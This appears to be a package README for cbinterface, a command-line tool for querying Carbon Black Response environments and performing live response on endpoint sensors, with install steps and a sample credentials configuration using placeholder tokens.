cbinterface 1.1.7

command line tool for interfacing with multiple carbonblack environments to perform analysis and live response functions

cbinterface

cbinterface is a command line tool for interfacing with multiple carbonblack environments to perform analysis and live response functions.

Demo

The following demo shows how cbinterface can be used to query multiple environments, investigate process trees, isolate sensors, and perform live response collections and remediations on sensors.

Some Basic Examples

query

You can preform any query via the command line that you could perform via the CbResponse GUI. Search for a md5:

$ cbinterface query md5:04A34D3737B01636C5BD8C4FFB542896

Installation

You can use pip to install cbinterface. Pip will try and install cbapi if it's not already installed.

pip3 install cbinterface

Getting Started

Currently, cbiterface straps onto the default configuration files used by cbapi (see here).

If you have multiple carbonblack environments, you should name the sections in your credentials.response configuration something meaningful. In addition, there are currently two custom fields that cbiterface looks for in the carbonblack response configuration file. First, envtype , which specifies the type of carbonblack environment. By default, cbinterface will return results for every environment in your configuration file. However, if you create a envtype variable and set its value to anything other than 'production' you will have to use the -e flag to acess that environment. Below is an example credentials.response file:

[sandbox]
url=https://sandbox.local
token=abcdef0123456789abcdef
ssl_verify=False
envtype=sandbox

[acme]
url=https://cbserver.prod.acmecorp.com
token=aaaaaa
ssl_verify=True
ignore_system_proxy=True
envtype=production

[othercomp]
url=https://cb.othercomp.com
token=bbbbbb
ssl_verify=True
envtype=production

The second variable is for the Live Response Endpoint Client (LERC).

Also, cbitnerface will use any proxy settings defined in the environment accordly with the ignore_system_proxy variable in the credentials.response config.
